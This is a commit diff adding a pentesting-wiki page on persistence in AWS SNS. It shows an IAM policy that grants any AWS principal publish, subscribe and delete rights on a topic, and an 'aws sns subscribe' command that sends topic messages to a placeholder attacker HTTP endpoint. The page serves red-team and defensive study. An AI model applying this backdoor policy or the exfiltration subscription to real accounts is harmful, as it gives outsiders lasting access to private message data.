Migrate to using mdbook

src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md

@@ -0,0 +1,81 @@
+# AWS - SNS Persistence
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## SNS
+
+For more information check:
+
+{{#ref}}
+../aws-services/aws-sns-enum.md
+{{#endref}}
+
+### Persistence
+
+When creating a **SNS topic** you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\
+The following policy gives everyone in AWS access to read and write in the SNS topic called **`MySNS.fifo`**:
+
+```json
+{
+  "Version": "2008-10-17",
+  "Id": "__default_policy_ID",
+  "Statement": [
+    {
+      "Sid": "__default_statement_ID",
+      "Effect": "Allow",
+      "Principal": {
+        "AWS": "*"
+      },
+      "Action": [
+        "SNS:Publish",
+        "SNS:RemovePermission",
+        "SNS:SetTopicAttributes",
+        "SNS:DeleteTopic",
+        "SNS:ListSubscriptionsByTopic",
+        "SNS:GetTopicAttributes",
+        "SNS:AddPermission",
+        "SNS:Subscribe"
+      ],
+      "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
+      "Condition": {
+        "StringEquals": {
+          "AWS:SourceOwner": "318142138553"
+        }
+      }
+    },
+    {
+      "Sid": "__console_pub_0",
+      "Effect": "Allow",
+      "Principal": {
+        "AWS": "*"
+      },
+      "Action": "SNS:Publish",
+      "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
+    },
+    {
+      "Sid": "__console_sub_0",
+      "Effect": "Allow",
+      "Principal": {
+        "AWS": "*"
+      },
+      "Action": "SNS:Subscribe",
+      "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
+    }
+  ]
+}
+```
+
+### Create Subscribers
+
+To continue exfiltrating all the messages from all the topics and attacker could **create subscribers for all the topics**.
+
+Note that if the **topic is of type FIFO**, only subscribers using the protocol **SQS** can be used.
+
+```bash
+aws sns subscribe --region <region> \
+    --protocol http \
+    --notification-endpoint http://<attacker>/ \
+    --topic-arn <arn>
+```
+
+{{#include ../../../banners/hacktricks-training.md}}